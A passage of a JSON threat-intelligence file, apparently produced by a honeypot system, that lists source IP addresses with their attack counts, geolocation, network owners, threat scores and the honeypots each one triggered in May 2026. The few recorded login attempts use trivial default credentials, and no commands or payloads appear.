        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 29,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T22:58:00+00:00",
        "last_seen_30d": "2026-05-31T12:34:28.247000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 8,
        "Cowrie": 7
      }
    },
    "77.68.99.77": {
      "attack_count": 7,
      "first_seen": "2026-05-08T12:06:27.328Z",
      "last_seen": "2026-05-08T12:06:27.653Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET /login HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Accept-Encoding: gzip",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:32:28.730000+00:00",
        "last_seen_30d": "2026-05-21T00:06:06.397000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 7
      }
    },
    "192.109.200.238": {
      "attack_count": 6,
      "first_seen": "2026-05-02T04:38:30.504Z",
      "last_seen": "2026-05-02T04:38:32.228Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:38:30.504000+00:00",
        "last_seen_30d": "2026-05-02T04:39:32.732000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "201.238.32.184": {
      "attack_count": 6,
      "first_seen": "2026-05-22T15:03:39.379Z",
      "last_seen": "2026-05-22T16:29:50.907Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:03:39.379000+00:00",
        "last_seen_30d": "2026-05-22T16:30:52.996000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "221.233.85.126": {
      "attack_count": 6,
      "first_seen": "2026-05-22T09:19:07.230Z",
      "last_seen": "2026-05-22T13:46:46.880Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:19:07.230000+00:00",
        "last_seen_30d": "2026-05-22T13:47:53.128000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "66.132.172.142": {
      "attack_count": 6,
      "first_seen": "2026-05-30T03:32:50.778Z",
      "last_seen": "2026-05-30T03:33:25.543Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T01:14:42+00:00",
        "last_seen_30d": "2026-05-30T03:34:34.604000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 30,
        "ConPot": 7,
        "Dionaea": 7,
        "Cowrie": 6,
        "Dicompot": 2
      }
    },
    "101.47.8.188": {
      "attack_count": 5,
      "first_seen": "2026-05-14T02:41:39.021Z",
      "last_seen": "2026-05-14T02:41:44.563Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "samira123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:41:39.021000+00:00",
        "last_seen_30d": "2026-05-14T02:42:46.005000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "180.76.236.214": {
      "attack_count": 5,
      "first_seen": "2026-05-31T10:07:10.106Z",
      "last_seen": "2026-05-31T10:07:15.257Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "P@ssw0rd@"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T10:07:10.106000+00:00",
        "last_seen_30d": "2026-05-31T10:08:20.599000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "188.2.118.27": {
      "attack_count": 5,
      "first_seen": "2026-05-29T20:03:31.790Z",
      "last_seen": "2026-05-29T20:05:32.194Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Serbia",
      "country_code": "RS",
      "city": "Novi Sad",
      "asn": 31042,
      "as_org": "Yettel d.o.o.",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-29T20:03:31.790000+00:00",
        "last_seen_30d": "2026-05-29T20:06:33.137000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "36.133.130.103": {
      "attack_count": 5,
      "first_seen": "2026-05-30T07:09:12.982Z",
      "last_seen": "2026-05-30T07:09:16.566Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "srv"
      ],
      "passwords_attempted": [
        "srv"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T07:09:12.982000+00:00",
        "last_seen_30d": "2026-05-30T07:10:21.708000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "119.63.76.106": {
      "attack_count": 4,
      "first_seen": "2026-05-11T06:01:04.466Z",
      "last_seen": "2026-05-31T07:14:07.103Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 38794,
      "as_org": "UIH",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:01:04.466000+00:00",
        "last_seen_30d": "2026-05-31T07:15:11.622000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "134.122.88.79": {
      "attack_count": 4,
      "first_seen": "2026-05-11T09:42:17.670Z",
      "last_seen": "2026-05-11T09:42:19.245Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T09:42:17.670000+00:00",
        "last_seen_30d": "2026-05-23T02:26:46.998000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 15,
        "Cowrie": 4
      }
    },
    "154.125.131.126": {
      "attack_count": 4,
      "first_seen": "2026-05-21T23:48:41.920Z",
      "last_seen": "2026-05-21T23:50:43.370Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:29:41.238000+00:00",
        "last_seen_30d": "2026-05-22T00:01:23.100000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "168.144.77.148": {
      "attack_count": 4,
      "first_seen": "2026-05-06T03:58:42.580Z",
      "last_seen": "2026-05-14T10:20:24.091Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:58:42.580000+00:00",
        "last_seen_30d": "2026-05-14T10:21:34.160000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "198.235.24.164": {
      "attack_count": 4,
      "first_seen": "2026-05-24T16:33:24.774Z",
      "last_seen": "2026-05-24T16:33:28.844Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T02:47:29+00:00",
        "last_seen_30d": "2026-05-31T07:09:17.307000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 32,
        "Cowrie": 4,
        "ConPot": 3
      }
    },
    "198.235.24.172": {
      "attack_count": 4,
      "first_seen": "2026-05-16T22:57:34.639Z",
      "last_seen": "2026-05-16T22:57:37.972Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 29,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T01:08:15+00:00",
        "last_seen_30d": "2026-05-31T23:40:59.537000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 19,
        "Cowrie": 4,
        "Dionaea": 3,
        "Tanner": 1
      }
    },
    "20.193.153.121": {
      "attack_count": 4,
      "first_seen": "2026-05-04T12:09:28.145Z",
      "last_seen": "2026-05-05T10:53:14.760Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:09:28.145000+00:00",
        "last_seen_30d": "2026-05-05T10:54:21.121000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "205.210.31.69": {
      "attack_count": 4,
      "first_seen": "2026-05-09T22:47:35.500Z",
      "last_seen": "2026-05-09T22:47:38.812Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 30,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T18:14:07+00:00",
        "last_seen_30d": "2026-05-31T23:09:59.365000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 25,
        "Cowrie": 4,
        "Ciscoasa": 2,
        "Dionaea": 2,
        "ConPot": 1,
        "Honeyaml": 1
      }
    },
    "209.113.173.34": {
      "attack_count": 4,
      "first_seen": "2026-05-08T09:51:58.000Z",
      "last_seen": "2026-05-08T21:59:34.259Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minonk",
      "asn": 53610,
      "as_org": "Metro Communications Company, Inc.",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:51:58+00:00",
        "last_seen_30d": "2026-05-08T22:00:35.106000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "68.151.1.196": {
      "attack_count": 4,
      "first_seen": "2026-05-09T18:02:24.489Z",
      "last_seen": "2026-05-29T13:54:54.262Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Edmonton",
      "asn": 6327,
      "as_org": "Shaw Communications",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:02:24.489000+00:00",
        "last_seen_30d": "2026-05-29T13:55:57.583000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "91.227.114.207": {
      "attack_count": 4,
      "first_seen": "2026-05-28T15:14:59.426Z",
      "last_seen": "2026-05-28T15:15:08.268Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 46.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.8,
        "persistence": 4.2,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 5,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-24T04:28:49+00:00",
        "last_seen_30d": "2026-05-28T15:16:16.863000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "H0neytr4p": 12,
        "Honeytrap": 12,
        "Cowrie": 4
      }
    },
    "180.76.172.156": {
      "attack_count": 3,
      "first_seen": "2026-05-11T00:21:44.653Z",
      "last_seen": "2026-05-11T00:23:44.671Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T00:21:44.653000+00:00",
        "last_seen_30d": "2026-05-11T00:25:16.946000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "43.155.172.154": {
      "attack_count": 3,
      "first_seen": "2026-05-27T13:05:42.310Z",
      "last_seen": "2026-05-27T13:06:43.624Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T13:05:42.310000+00:00",
        "last_seen_30d": "2026-05-27T13:07:49.032000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "1.183.130.128": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:55:56.206Z",
      "last_seen": "2026-05-22T22:56:32.406Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:55:56.206000+00:00",
        "last_seen_30d": "2026-05-22T22:57:37.427000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.91.92.97": {
      "attack_count": 2,
      "first_seen": "2026-05-10T13:08:40.918Z",
      "last_seen": "2026-05-10T13:08:54.123Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Abuja",
      "asn": 29465,
      "as_org": "MTN NIGERIA Communication limited",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:08:40.918000+00:00",
        "last_seen_30d": "2026-05-10T13:10:03.359000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.137.72.76": {
      "attack_count": 2,
      "first_seen": "2026-05-03T07:47:49.835Z",
      "last_seen": "2026-05-03T07:49:49.836Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 135341,
      "as_org": "Orange Communication",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:47:49.835000+00:00",
        "last_seen_30d": "2026-05-03T07:51:02.184000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.235.219.193": {
      "attack_count": 2,
      "first_seen": "2026-05-06T04:36:26.088Z",
      "last_seen": "2026-05-06T04:36:39.053Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jaipur",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:36:26.088000+00:00",
        "last_seen_30d": "2026-05-06T04:37:42.860000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.103.61.69": {
      "attack_count": 2,
      "first_seen": "2026-05-22T12:12:48.134Z",
      "last_seen": "2026-05-22T12:13:48.735Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T12:12:48.134000+00:00",
        "last_seen_30d": "2026-05-22T12:14:51.432000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
